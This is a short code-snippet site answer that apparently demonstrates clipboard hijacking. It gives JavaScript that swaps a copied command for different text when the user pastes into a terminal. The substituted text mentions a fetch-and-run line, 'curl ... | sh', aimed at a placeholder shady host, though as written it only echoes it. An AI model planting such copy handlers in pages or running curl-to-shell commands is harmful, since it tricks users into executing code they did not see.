Answers for "replace copy paste terminal"

0

replace copy paste terminal

document.getElementById('copyme').addEventListener('copy', function(e) {
    e.clipboardData.setData('text/plain', 
        'echo "this could have been [curl http://myShadySite.com | sh]"\n'
    );
    e.preventDefault();
});
Posted by: Guest on May-29-2021

Browse Popular Code Answers by Language